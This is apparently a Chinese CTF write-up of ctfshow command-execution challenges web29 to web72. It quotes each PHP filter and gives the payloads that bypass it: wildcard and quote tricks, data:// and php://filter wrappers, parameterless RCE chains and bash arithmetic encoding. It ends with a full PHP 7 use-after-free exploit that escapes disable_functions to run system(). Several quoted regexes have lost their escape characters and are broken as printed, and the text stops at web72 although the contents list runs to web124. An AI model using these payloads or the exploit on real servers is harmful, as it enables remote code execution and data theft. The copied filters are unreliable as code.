您现在的位置是:首页 >其他 >ctfshow 命令执行网站首页其他

ctfshow 命令执行

何亦北辰星 2024-06-19 13:56:27
简介ctfshow 命令执行

目录

web29

web30

web31

web32

web33

web34

web35

web36

web37

web38

web39

web40

web41

web42

web43

web44

web45

web46

web47

web48

web49

web50

web51

web52

web53

web54

web55

web56

web57

web58

web59

web60

web61-63

web64

web65

web66-67

web68

web69-70

web71

web72

web73

web74

web75

web76

web77

web118

web119

web120

web121

web122

web124


web29

 <?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

查看源码发现只过滤了flag字符串,我们只需构造如下payload即可(通配符绕过)

?c=system('cat f*'); //? 也行

也可以使用重造变量的方法来读取flag

?c=system($_GET['a']);&a=cat flag.php;

使用双引号过滤

?c=echo `cat fl''ag.php`;  //反引号功能是执行系统命令

web30

 <?php

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

过滤了flag,system,php限制了大小写,使用引号绕过

?c=echo `cat fl''ag.p''hp`';
# 用tac绕过对cat的过滤
# 用%09绕过对空格的过滤
?c=echo`tac%09fl*`;

# 用passthru绕过system的过滤
# tac饶过cat的过滤
?c=passthru("tac%09f*");

show_source(next(array_reverse(scandir(pos(localeconv())))));

web31

 <?php

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|.| |'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

又过滤了.和空格、cat,用重造变量的方法

?c=eval($_GET[1]);&1=echo `tac flag.php`

web32

 <?php

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

这题又过滤了echo,反引号,分号以及单括号,单括号,学习了别人的wp。

分号可以用?>绕过,因为PHP最后一条语句不需要分号。单括号的绕过,要用到不需要括号的函数,比如include,之后配合php伪协议读取flag.php源码,进行base64解码

payload:

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web33

虽然又过滤了一个双引号,但无伤大雅,继续用上一题的伪协议思路即可

web34

虽然又又过滤了冒号,但只对参数c进行了过滤,我们依旧可以用上一题的payload

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web35

虽然叒过滤了<,但对参数c依旧无伤大雅,同上题

web36

这题新增了0-9数字的限制,但我们只需将get传参的内容改为字母即可

?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web37

 <?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
} 

过滤了flag,我们利用data协议

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
//编码是<?php system('cat flag.php');?>
//或者
?c=data://text/plain,<?php system('cat fla*');?>

web38

新增过滤了php,file我们利用data协议即可

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

而且还有个新姿势:

我们知道php文档中,每当读取该文档时,它会查找<?php 和?>标签,然后只处理上述两个标签中的代码,并在其周围留下其他代码。

例如:

<?php
echo "Hello PHP !";
?>
//输出Hello PHP !

但还有一种简洁形式,其实在使用echo() 进行输出时,我们可以使用快捷方法。上面示例可以使用<?=标签来输出,例:

<?= "Hello PHP !"?>

 说明:“<?=”是PHP的一个短的开放式标签,是echo()的快捷用法。可以用短标签代替php执行,因此会构造如下payload

?c=data://text/plain,<?=system('tac fl*');?>

web39

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
} 

该题自动为我们增加了后缀php,但依旧可以data协议

data://text/plain, 这样就相当于执行了php语句,因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用

直接payload:

?c=data://text/plain,<?= system("cat fla*");?>

web40

 <?php

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|~|`|@|#|\$|\%|^|&|*|(|)|-|=|+|{|[|]|}|:|'|"|,|<|.|>|/|?|\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

该题把中文字符都过滤了,我们只能用英文字符,参考大佬的wp,这里要用无参数的rce

先简单学习一下,参考:PHP Parametric Function RCE · sky's blog

无参数读取文件

1. localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
2. pos():返回数组中当前元素的值
3. scandir():获取目录下的文件
4. array_reverse():将数组逆序排列
5. next():函数将内部指针指向下一元素,并输出
6. show_source()函数对文件进行语法高亮显示,是highlight_file()别名。
7. print_r(scandir(‘.’)); 查看当前目录下的所有文件名
8. current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名
1. print_r() 函数用于打印变量,以更容易理解的形式展示
2. get_defined_vars() 函数返回由所有已定义变量所组成的数组。

这里的localeconv函数返回的数组的第一个“点号”,在linux中代表当前目录,因此我们可以用参数调用到点号,进而查看当前目录的文件

print_r(localeconv());

 如下图第一个元素为点号

 利用上述结论可以构造如下payload:

print_r(scandir(pos(localeconv())));   //查看点号(也就是当前目录下的文件)

 如上图看到有flag.php文件,处于倒数第二个位置

在补充如下知识点

array_reverse() 函数以相反的元素顺序返回数组

next() 函数将内部指针指向数组中的下一个元素,并输出。

highlight_file() 函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。同时整个文件也会显示出来

//构造如下payload:
highlight_file(next(array_reverse((scandir(pos(localeconv()))))));
//上述先用第一个函数将数组元素顺序颠倒,随后用next函数,将指针指向flag的位置,最终用高亮显示,将了flag文件回显

或者
#pos()与current()作用相同 readfile()与作用相同highlight_file()
?c=readfile(next(array_reverse(scandir(current(localeconv())))));

#show_source()与作用相同highlight_file()
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

还有第二个方法:详情可看上文中链接文章

首先get_defined_vars()函数可以回显全局变量,我们配合利用var_dump返回全局变量数组内容

如上图我们可以利用get传参,写入我们的命令,首先要方法取出其中的参数

利用pos返回当前元素的值

在通过end函数使指针指向数组中的最后一个单元,并返回该单元的值,在此之前先通过get传入一个参数数据

 再用end函数

接着在sky写入读取flag的命令

最终payload为:

?c=eval(end(current(get_defined_vars())));&sky=system('cat flag.php');

web41

 <?php

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|^|+|~|$|[|]|{|}|&|-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?> 

这次过滤所有字母和数字以及一堆符号 但是留下了一个或运算符 |

参考大佬的wp这题需要用脚本,利用或运算符进行绕过

这里可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。

# 生成可用字符的集合
# rce_or.php
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|^|+|~|$|[|]|{|}|&|-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."
";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);
# 用法python exp.py <url>
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(""+s1+""|""+s2+"")"
   return(output)
   
while True:
   param=action(input("
[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("
[*] result:
"+r.text)

web42

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
} 

这里先了解一下代码中的>/dev/null 2>&1

>/dev/null 2>&1的意思是 将参数返回的结果重定向到黑洞文件

/dev/null文件可以被看作是一个“黑洞”文件。它等价于一个只写的的文件。所有写入它的内容都会永远丢失(因为不可读)。

/dev/null 2>&1主要意思是不进行回显,让命令回显,我们进行命令分隔
输出黑洞

1:> 代表重定向到哪里,例如:echo “123” > /home/123.txt
2:/dev/null 代表空设备文件
3:2> 表示stderr标准错误
4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
5:1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 “1>/dev/null”
因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”

payload:

?c=tac flag.php;ls
;前面的被执行了返回结果,后面的执行了被放入/dev/null中

web43

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这里过滤了cat与分号,构造如下payload

c=nl flag.php||
c=tac flag.php||

web44

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

这里又过滤了flag,我们可以使用通配符绕过或者拼接字符串的方式,payload如下

?c=tac fl''ag.php||
?c=tac fl*.php||

web45

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

这里又过滤了空格,构造如下payload

?c=tac${IFS}fl*||
也可以用%09或者<绕过    //%09是Tab的url编码

web46

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag| |[0-9]|\$|*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

这里又过滤了数字,通配符以及$,payload如下

使用?绕过对*的过滤

"?"和"*"的区别:

?只能通配某个字符,如flag.php -> fla?.php fl??.ph?

*可以通配整个字符串,如flag.php -> f*

?c=nl%09fl?g.php||     //这里%09还能用是因为,传入时会进行url解码,将其解析为Tab键
?c=tac%09fla?.php||
?c=nl<fla''g.php||

web47

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

过滤多了more less head sort tail,不过无伤大雅依旧用之前的payload

?c=nl%09fl?g.php||

web48

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了sed cut awk strings od curl以及反引号,还是用上题的payload

?c=nl%09fl?g.php||

web49

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这里过滤了% ,不过依旧无碍

c=tac%09fla?.php||
c=nl<fla''g.php||

web50

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|`|\%|x09|x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

%09,以及&(x26)被过滤了,使用重定向符<>代替空格,但是<>后面不能跟有通配符,我们通过反斜杠或者引号来绕过,注:nl不支持通配符使用引号分割

payload:tac<>fl''ag.php||

web51

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|`|\%|x09|x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这里过滤了tac,可以用nl也可以字符串拼接

?c=ca	<>fl''ag.php||
?c=nl<fl''ag.php||

web52

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag| |[0-9]|*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|`|\%|x09|x26|>|</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

这里又过滤了<,>但仔细观察发现$又不在黑名单了,这就好办了

?c=nl${IFS}/fl''ag||
//但这里注意flag在根目录下,并不在flag.php

web53

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag| |[0-9]|*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|`|\%|x09|x26|>|</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

这里换成直接明了的echo,system了,那我们直接执行就行

?c=nl${IFS}/fl''ag||

web54

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|`|\%|x09|x26|>|</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

蒙了,过滤的这么彻底,彻底过滤了通配符*     , 用 多个?代替

nl也被过滤了,可以使用uniq代替nl,借鉴大佬的

uniq在linux中用来去重 同时也会将去重后的文件内容显示出来,payload

?c=uniq${IFS}f???????

其他payload

 #可以使用mv将flag.php文件移动到其他文件 然后访问文件拿到flag
 ?c=mv${IFS}fla?.php${IFS}a.txt
 # 使用执行文件目录+?来绕过被过滤的命令
 ?c=/bin/?at${IFS}f???????

web55

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|[a-z]|`|\%|x09|x26|>|</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

过滤了 字母、分号、反引号、"%09"、"%26"和 <>,看看大佬

payload1:

同样是利用bin目录

bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php

使用base64对flag.php进行加密同时使用?绕过字母的限制

?c=/???/????64%20????.???  # /bin/base64 flag.php

payload2:

利用/usr/bin目录

主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、newaliases、nslookup passwd、quota、smb*、wget等。
我们可以利用/usr/bin下的bzip2 意思就是说我们先将flag.php文件进行压缩,然后再将其下载

先?c=/???/???/????2 ????.???
然后在url + /flag.php.bz2 下载文件

payload3:参考无字母数字webshell

web56

<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|[a-z]|[0-9]|\$|(|{|'|"|`|\%|x09|x26|>|</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

这里又将数字过滤了,参考无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)

总结一下:shell下可以利用.来执行任意脚本
可以通过发送一个上传文件的POST包,只要是php接收到上传的POST请求(请求结束后会删除临时文件),就会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母以及数字
写一个post上传表单

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://11a8783c-659e-4028-ab16-40fb589ef16d.challenge.ctf.show/" method="post" enctype="multipart/form-data">
    <!--目标网址-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

构造POC
注:shell程序必须以"#!/bin/sh"开始,#! /bin/sh 是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面跟的是解释此脚本的shell的路径

?c=.%20/???/????????[@-[]

这里注意cat flag.php下面一行不为空,即紧跟着下面的一行数字(否则不能回显,但我不知道为啥).

web57

<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|[a-z]|[0-9]|`||#|'|"|`|\%|x09|x26|x0a|>|<|.|,|?|*|-|=|[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
} 

这里说flag在36.php中,那么我们想办法构造处36即可.这里参考大佬的做法

这里利用 $(( ))与整数运算。想办法构造出36

双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。
    通俗地讲,就是将数学运算表达式放在((和))之间。

    表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。

    可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。

    可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。

    注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。

$(())是0

$((~$(())))是-1

$(($((~$(())))$((~$(())))))是-2

这里要构造36,也就是要先构造出-37 然后取反

-37是37个$((~$(())))相加

最终payload
?c=$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))

web58

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

这道题因为disable_functions禁用了system exec popen passthru

使用读文件函数拿flag

file_get_contents()
highlight_file()
show_source()
fgets()
file()
readfile()

没有过滤直接用

#payload1
c=highlight_file("flag.php");
#payload2
c=show_source('flag.php');
#payload3
c=$a=fopen("flag.php","r");while($b=fgets($a)){echo $b;}

c=show_source(next(array_reverse(scandir(current(localeconv())))));
c=echo file_get_contents('flag.php');
c=print_r(file('flag.php'));

web59

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

过滤了更多函数

这些还可以用

highlight_file()
show_source()
fgets()
file()
可以用web58的payload
//在源代码
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line =fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");
c=$a=fopen("flag.php","r");echo fpassthru($a);

web60

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

禁用了更多函数

c=show_source("flag.php");

//奇淫巧技0.0

#通过复制,重命名读取php文件内容  
c=copy("flag.php","flag.txt");         
c=rename("flag.php","flag.txt");
#访问flag.txt 

//之前payload还能用,自己试试
c=show_source(next(array_reverse(scandir(current(localeconv())))));
c=show_source('flag.php');
c=highlight_file('flag.php');

web61-63

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

下列payload通杀

c=show_source(next(array_reverse(scandir(current(localeconv())))));
c=show_source('flag.php');
c=highlight_file('flag.php');

web64

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

这题用上一题的payload也可以,但还有一个新姿势

var_dump() 函数用于输出变量的相关信息。
get_defined_vars() 函数返回由所有已定义变量所组成的数组。

因此我们用var_dump(get_defined_vars());查看一下所有的注册变量

那么我们可以注册一个包含flag.php的变量

payload如下:

c=include('flag.php');var_dump(get_defined_vars());

c=show_source(next(array_reverse(scandir(current(localeconv())))));
c=highlight_file('flag.php');
c=show_source('flag.php');

web65

web64payload都可以

web66-67

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

这回show_source()函数被禁用了,而且flag放的位置也改变了

c=print_r(scandir("/")); #查看根目录文件 print_r被过滤可以换var_dump

# 注意根目录是flag.txt

c=highlight_file("/flag.txt");

web68

提示说highlight_file()函数也被禁用了,我们先继续查看根目录

尝试直接include包含

c=include('/flag.txt');

web69-70

这个题将var_dump也禁用了,看了下wp说是用多种遍历数组来进行

# 多种遍历数组姿势
# 1
c=$a=scandir("/");foreach($a as $value){echo $value."---";}
# 2 glob() 函数返回匹配指定模式的文件名或目录。返回的是数组
c=$a=glob("/*");foreach($a as $value){echo $value."   ";}
# 3 
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
//这里的关键函数DirectoryIterator是PHP的原生类

web71

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
?>
你要上天吗?

新知识

ob_get_contents() 返回输出缓冲区的内容

ob_end_clean() 清空(擦除)缓冲区并关闭输出缓冲

代码执行的大概流程是 传参--命令执行--执行结果存在$s中--清空输出缓冲区--对$s进行过滤

由于清空输出缓冲区 传入的命令也就无法执行 这里要做的就是把代码终止在清空输出缓冲区之前使用exit()强制退出

c=include('/flag.txt');exit();

web72

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
?>
你要上天吗?

看了佬的wp,先输入c=var_dump(scandir('/'));发现被open_basedir()限制了且ini_set()被禁用

我们可以尝试通过glob伪协议绕过绕过open_basedir限制

payload

c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

利用群主提供的uaf脚本绕过open_basedir进行命令执行来包含flag0.txt

原始脚本:https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php

// 只需提交函数内容 记得url编码
<?php
function ctfshow($cmd)
{
    global $abc, $helper, $backtrace;

    class Vuln
    {
        public $a;

        public function __destruct()
        {
            global $backtrace;
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if (!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper
    {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8)
    {
        $address = 0;
        for ($j = $s - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p + $j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8)
    {
        $out = "";
        for ($i = 0; $i < $m; $i++) {
            $out .= sprintf("%c", ($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8)
    {
        $i = 0;
        for ($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c", ($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8)
    {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if ($s != 8) {
            $leak %= 2 << ($s * 8) - 1;
        }
        return $leak;
    }

    function parse_elf($base)
    {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for ($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if ($p_type == 1 && $p_flags == 6) {

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if ($p_type == 1 && $p_flags == 5) {
                $text_size = $p_memsz;
            }
        }

        if (!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf)
    {
        list($data_addr, $text_size, $data_size) = $elf;
        for ($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if ($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);

                if ($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if ($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);

                if ($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak)
    {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for ($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if ($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs)
    {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if ($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while ($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg)
    {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if (stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10;
    $contiguous = [];
    for ($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) {
    };

    if (strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if (!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if (!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if (!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if (!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for ($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4);
    write($abc, 0xd0 + 0x68, $zif_system);

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");
ob_end_flush();
?>
# payload
